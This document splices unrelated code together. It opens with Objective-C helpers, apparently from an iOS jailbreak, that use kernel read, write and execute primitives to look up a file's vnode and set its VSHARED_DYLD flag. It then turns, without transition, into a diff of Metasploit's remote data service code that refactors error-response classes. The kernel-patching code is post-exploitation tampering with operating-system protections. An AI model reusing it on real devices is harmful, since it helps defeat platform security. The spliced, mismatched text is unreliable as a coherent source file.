#import "kexecute.h"
#import "offsetof.h"
#include "liboffsetfinder64/getoffsets.h"
#import <Foundation/Foundation.h>
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
int vnode_lookup(const char *path, int flags, uint64_t *vnode, uint64_t vfs_context) {
size_t len = strlen(path) + 1;
uint64_t ptr = Kernel_alloc(8);
uint64_t ptr2 = Kernel_alloc(len);
KernelWrite(ptr2, path, len);
if (Kernel_Execute(find_symbol("_vnode_lookup") + get_kernel_slide(), ptr2, flags, ptr, vfs_context, 0, 0, 0)) {
return -1;
}
*vnode = KernelRead_64bits(ptr);
Kernel_free(ptr2, len);
Kernel_free(ptr, 8);
return 0;
}
uint64_t get_vfs_context() {
return ZmFixAddr(Kernel_Execute(find_symbol("_vfs_context_current") + get_kernel_slide(), 1, 0, 0, 0, 0, 0, 0));
}
int vnode_put(uint64_t vnode) {
return (int)Kernel_Execute(find_symbol("_vnode_put") + get_kernel_slide(), vnode, 0, 0, 0, 0, 0, 0);
}
uint64_t get_vnode_at_path(const char *path) {
uint64_t *vnode_ptr = (uint64_t *)malloc(8);
if (vnode_lookup(path, 0, vnode_ptr, get_vfs_context())) {
free(vnode_ptr);
return -1;
}
else {
uint64_t vnode = *vnode_ptr;
free(vnode_ptr);
return vnode;
}
}
int fix_vnode_for_mmap(const char* path) {
#define VSHARED_DYLD 0x000200
uint64_t vnode = get_vnode_at_path(path);
if (vnode == -1) {
LOG("[-] Unable to fix mmap of path: %s\n", path);
return -1;
}
uint32_t v_flags = KernelRead_32bits(vnode + off_v_flags);
KernelWrite_32bits(vnode + off_v_flags, v_flags | VSHARED_DYLD);
vnode_put(vnode);
return KernelRead_32bits(vnode + off_v_flags) & VSHARED_DYLD;
}
@@ -171,7 +171,7 @@ class DataProxy
exception.backtrace.each { |line| elog "#{line}" }
# TODO: We should try to surface the original exception, instead of just a generic one.
# This should not display the full backtrace, only the message.
raise "#{ui_message}: #{exception.message}. See log for more details."
raise exception
end
# Adds a valid workspace value to the opts hash before sending on to the data layer.
@@ -181,14 +181,16 @@ class RemoteHTTPDataService
return SuccessResponse.new(response)
else
ilog "HTTP #{request_type} request: #{uri.request_uri} failed with code: #{response.code} message: #{response.body}"
return FailedResponse.new(response)
return ErrorResponse.new(response)
end
rescue EOFError => e
elog "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}"
return FailedResponse.new('')
error_msg = "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}"
ilog error_msg
return FailedResponse.new(error_msg)
rescue => e
elog "Problem with HTTP request for type/path: #{request_type}/#{path} message: #{e.message}"
return FailedResponse.new('')
error_msg = "Problem with HTTP request for type/path: #{request_type} #{path} message: #{e.message}"
ilog error_msg
return FailedResponse.new(error_msg)
ensure
@client_pool << client
end
@@ -203,9 +205,14 @@ class RemoteHTTPDataService
# for the Metasploit version number from the remote endpoint
#
def is_online?
response = self.get_msf_version
if response && !response[:metasploit_version].empty?
return true
begin
response = self.get_msf_version
if response && !response[:metasploit_version].empty?
return true
end
rescue
# Ignore exceptions that are raised when checking the version,
# and assume the server is not online.
end
return false
@@ -236,20 +243,52 @@ class RemoteHTTPDataService
#
class ResponseWrapper
attr_reader :response
attr_reader :expected
def initialize(response, expected)
def initialize(response)
@response = response
@expected = expected
end
def response_body
if @response
@response.body
else
nil
end
end
def to_s
if @response
@response.to_s
else
''
end
end
end
#
# Error response wrapper
# There is a response object, however, the request was unsuccessful.
#
class ErrorResponse < ResponseWrapper
def initialize(response)
super(response)
end
end
#
# Failed response wrapper
# There is no response object.
#
class FailedResponse < ResponseWrapper
def initialize(response)
super(response, false)
class FailedResponse < ErrorResponse
attr_reader :error_msg
def initialize(error_msg)
@error_msg = error_msg
super(nil)
end
def to_s
return error_msg
end
end
@@ -258,7 +297,7 @@ class RemoteHTTPDataService
#
class SuccessResponse < ResponseWrapper
def initialize(response)
super(response, true)
super(response)
end
end
@@ -10,7 +10,7 @@ module RemoteCredentialDataService
def creds(opts = {})
path = get_path_select(opts, CREDENTIAL_API_PATH)
data = self.get_data(path, nil, opts)
rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, [])
rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS)
parsed_body = JSON.parse(data.response.body, symbolize_names: true)
data = parsed_body[:data]
data.each do |cred|
@@ -31,14 +31,14 @@ module RemoteCredentialDataService
end
def create_credential(opts)
json_to_mdm_object(self.post_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS).first
end
def update_credential(opts)
json_to_mdm_object(self.put_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, []).first
json_to_mdm_object(self.put_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS).first
end
def delete_credentials(opts)
json_to_mdm_object(self.delete_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, [])
json_to_mdm_object(self.delete_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS)
end
end
@@ -8,7 +8,7 @@ module RemoteEventDataService
def events(opts)
path = get_path_select(opts, EVENT_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), EVENT_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), EVENT_MDM_CLASS)
end
def report_event(opts)
@@ -9,15 +9,15 @@ module RemoteHostDataService
def hosts(opts)
path = get_path_select(opts, HOST_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), HOST_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), HOST_MDM_CLASS)
end
def get_host(opts)
json_to_mdm_object(self.post_data(HOST_SEARCH_PATH, opts), HOST_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(HOST_SEARCH_PATH, opts), HOST_MDM_CLASS).first
end
def report_host(opts)
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS).first
end
def update_host(opts)
@@ -26,10 +26,10 @@ module RemoteHostDataService
id = opts.delete(:id)
path = "#{HOST_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), HOST_MDM_CLASS, [])
json_to_mdm_object(self.put_data(path, opts), HOST_MDM_CLASS)
end
def delete_host(opts)
json_to_mdm_object(self.delete_data(HOST_API_PATH, opts), HOST_MDM_CLASS, [])
json_to_mdm_object(self.delete_data(HOST_API_PATH, opts), HOST_MDM_CLASS)
end
end
@@ -9,11 +9,11 @@ module RemoteLoginDataService
def logins(opts)
path = get_path_select(opts, LOGIN_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), LOGIN_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), LOGIN_MDM_CLASS)
end
def create_credential_login(opts)
json_to_mdm_object(self.post_data(LOGIN_API_PATH, opts), LOGIN_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(LOGIN_API_PATH, opts), LOGIN_MDM_CLASS).first
end
def update_login(opts)
@@ -22,6 +22,6 @@ module RemoteLoginDataService
id = opts.delete(:id)
path = "#{LOGIN_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), LOGIN_MDM_CLASS, []).first
json_to_mdm_object(self.put_data(path, opts), LOGIN_MDM_CLASS).first
end
end
@@ -9,7 +9,7 @@ module RemoteLootDataService
def loot(opts = {})
path = get_path_select(opts, LOOT_API_PATH)
data = self.get_data(path, nil, opts)
rv = json_to_mdm_object(data, LOOT_MDM_CLASS, [])
rv = json_to_mdm_object(data, LOOT_MDM_CLASS)
parsed_body = JSON.parse(data.response.body, symbolize_names: true)
data = parsed_body[:data]
data.each do |loot|
@@ -36,10 +36,10 @@ module RemoteLootDataService
id = opts.delete(:id)
path = "#{LOOT_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), LOOT_MDM_CLASS, [])
json_to_mdm_object(self.put_data(path, opts), LOOT_MDM_CLASS)
end
def delete_loot(opts)
json_to_mdm_object(self.delete_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS, [])
json_to_mdm_object(self.delete_data(LOOT_API_PATH, opts), LOOT_MDM_CLASS)
end
end
@@ -8,11 +8,11 @@ module RemoteNoteDataService
def notes(opts)
path = get_path_select(opts, NOTE_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), NOTE_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), NOTE_MDM_CLASS)
end
def report_note(opts)
json_to_mdm_object(self.post_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS).first
end
def update_note(opts)
@@ -21,10 +21,10 @@ module RemoteNoteDataService
id = opts.delete(:id)
path = "#{NOTE_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), NOTE_MDM_CLASS, [])
json_to_mdm_object(self.put_data(path, opts), NOTE_MDM_CLASS)
end
def delete_note(opts)
json_to_mdm_object(self.delete_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS, [])
json_to_mdm_object(self.delete_data(NOTE_API_PATH, opts), NOTE_MDM_CLASS)
end
end
@@ -8,11 +8,11 @@ module RemotePayloadDataService
def payloads(opts)
path = get_path_select(opts, PAYLOAD_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), PAYLOAD_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), PAYLOAD_MDM_CLASS)
end
def create_payload(opts)
json_to_mdm_object(self.post_data(PAYLOAD_API_PATH, opts), PAYLOAD_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(PAYLOAD_API_PATH, opts), PAYLOAD_MDM_CLASS).first
end
def update_payload(opts)
@@ -21,10 +21,10 @@ module RemotePayloadDataService
id = opts.delete(:id)
path = "#{PAYLOAD_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), PAYLOAD_MDM_CLASS, [])
json_to_mdm_object(self.put_data(path, opts), PAYLOAD_MDM_CLASS)
end
def delete_payload(opts)
json_to_mdm_object(self.delete_data(PAYLOAD_API_PATH, opts), PAYLOAD_MDM_CLASS, [])
json_to_mdm_object(self.delete_data(PAYLOAD_API_PATH, opts), PAYLOAD_MDM_CLASS)
end
end
@@ -4,7 +4,7 @@ module RemoteServiceDataService
def services(opts)
path = get_path_select(opts, SERVICE_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), SERVICE_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), SERVICE_MDM_CLASS)
end
def report_service(opts)
@@ -8,7 +8,7 @@ module RemoteSessionDataService
def sessions(opts)
path = get_path_select(opts, SESSION_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), SESSION_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), SESSION_MDM_CLASS)
end
def report_session(opts)
@@ -20,7 +20,7 @@ module RemoteSessionDataService
end
opts[:time_stamp] = Time.now.utc
sess_db = json_to_mdm_object(self.post_data(SESSION_API_PATH, opts), SESSION_MDM_CLASS, []).first
sess_db = json_to_mdm_object(self.post_data(SESSION_API_PATH, opts), SESSION_MDM_CLASS).first
session.db_record = sess_db
end
@@ -31,7 +31,7 @@ module RemoteSessionDataService
path = "#{SESSION_API_PATH}/#{id}"
end
json_to_mdm_object(self.put_data(path, opts), SESSION_MDM_CLASS, []).first
json_to_mdm_object(self.put_data(path, opts), SESSION_MDM_CLASS).first
end
end
@@ -8,7 +8,7 @@ module RemoteSessionEventDataService
def session_events(opts)
path = get_path_select(opts, SESSION_EVENT_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), SESSION_EVENT_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), SESSION_EVENT_MDM_CLASS)
end
def report_session_event(opts)
@@ -8,11 +8,11 @@ module RemoteVulnAttemptDataService
def vuln_attempts(opts)
path = get_path_select(opts, VULN_ATTEMPT_API_PATH)
json_to_mdm_object(self.get_data(path, nil, opts), VULN_ATTEMPT_MDM_CLASS, [])
json_to_mdm_object(self.get_data(path, nil, opts), VULN_ATTEMPT_MDM_CLASS)
end
def report_vuln_attempt(vuln, opts)
opts[:vuln_id] = vuln.id
json_to_mdm_object(self.post_data(VULN_ATTEMPT_API_PATH, opts), VULN_ATTEMPT_MDM_CLASS, []).first
json_to_mdm_object(self.post_data(VULN_ATTEMPT_API_PATH, opts), VULN_ATTEMPT_MDM_CLASS).first
end
end

Some files were not shown because too many files have changed in this diff Show More